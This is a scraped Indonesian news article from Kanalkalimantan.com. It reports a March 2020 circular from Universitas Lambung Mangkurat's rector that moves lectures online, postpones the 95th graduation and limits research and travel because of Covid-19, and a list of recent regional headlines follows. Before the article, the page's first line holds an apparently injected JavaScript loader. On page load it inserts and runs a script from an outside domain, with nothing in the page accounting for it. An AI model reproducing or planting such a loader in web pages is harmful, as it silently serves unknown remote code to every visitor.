(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Rektor ULM Terbitkan Surat Edaran Covid-19, Perkuliahan Diliburkan hingga Wisuda Ditunda!


KANALKALIMANTAN.COM, BANJARMASIN – Menyikapi kasus merebaknya virus corona atau Covid-19, Rektorat Universitas Lambung Mangkurat (ULM) Banjarmasin menerbitkan surat edaran (SE) per Senin (16/3/2020). SE dengan nomor 281/UN8/KP/2020 ini ditandatangani langsung oleh Rektor ULM Prof. Sutarto Hadi.

Dalam SE yang diterbitkan, selain menekankan pola hidup bersih dan sehat (PHBS) kepada civitas akademika, terhitung hari ini hingga 27 Maret 2020 mendatang, semua kegiatan perkuliahan secara tatap muka diliburkan. Sebagai gantinya, kegiatan kuliah tatap muka menggunakan metode pembelajaran daring (e-learning) dengan mendayagunakan fasilitas yang ada.

“Kegiatan praktik laboratorium, praktik lapangan, praktik industri dan lain sebagainya dilakukan dengan metode lain tanpa pertemuan langsung, atau dengan penjadwalan ulang sesuai dengan perkembangan,” kata Sutarto.

Bahkan, wisuda ke-95 ULM yang direncanakan akan dihelat pada 21 Maret 2020 mendatang ditunda hingga batas waktu yang belum ditentukan. Namun demikian, lanjut Sutarto, mahasiswa yang membutuhkan ijazah dalam waktu dekat guna kepentingan melamar pekerjaan, studi S2 hingga pengajuan beasiswa, dapat mengambilnya dari tanggal 23 hingga 27 Maret 2020 di Bagian Akademik dan Kemahasiswaan Rektorat ULM.

“Selain itu, kita meminta untuk menunda atau menjadwalkan ulang kegiatan penelitian untuk pengumpulan data lapangan, kegiatan pengabdian kepada masyarakat yang mengumpulkan massa, dan disesuaikan dengan perkembangan keadaan,” ucap Sutarto.

Di samping itu, Rektorat ULM juga memutuskan untuk menunda atau menjadwalkan ulang rencana perjalanan ke luar negeri. Sutarto melanjutkan, pimpinan fakultas harus berkoordinasi dengan perguruan tinggi mitra di luar negeri untuk mencari penyelesaian yang sebaik-baiknya atas konsekuensi administratif dan akademik dari larangan ini.

“Terakhir, tidak melakukan perjalanan di dalam negeri dan menghindari aktivitas di luar rumah yang tidak penting,” tukas Sutarto. (Kanalkalimantan.com/fikri)

Reporter : Fikri
Editor : Chell

 


Desy Arfianty

Recent Posts

Dua Hari Hilang di Tengah Rawa, Kakek Syahdan Ditemukan Selamat

KANALKALIMANTAN.COM, BARABAI – Tak kunjung pulang ke rumah selama dua hari, seorang kakek yang dikabarkan… Read More

32 menit ago

Halalbihalal Kerukunan Bubuhan Banjar Jabar Dihadiri Paman Birin

KANALKALIMANTAN.COM, BOGOR – Gubernur Kalsel H Sahbirin Noor beserta istri Hj Raudatul Jannah hadiri halalbihalal… Read More

3 jam ago

Serap Aspirasi Gen Z, Pj Bupati Kapuas Erlin Hardi Main ke Kafe

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi menyambangi kafe untuk menyerap langsung… Read More

5 jam ago

TPK Kelurahan Selat Hilir Juara 3 Terbaik Nasional 2024

KANALKALIMANTAN.COM, KUALA KAPUAS - Kerja keras yang berbuah manis. Ungkapan tersebut tepat disematkan untuk Tim… Read More

5 jam ago

Ibadah dan Sosial Ekonomi Berkembang, Masjid At-Taqwa Karang Anyar III Diperluas

KANALKALIMANTAN.COM, BANJARBARU - Dalam beberapa tahun terakhir, antusias warga dalam melaksanakan peribadatan di Masjid At… Read More

7 jam ago

Amuntai Expo dan Bazar Ekonomi Kreatif 2024

KANALKALIMANTAN.COM, AMUNTAI - Memeriahkan Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU) digelar Amuntai Expo… Read More

17 jam ago

This website uses cookies.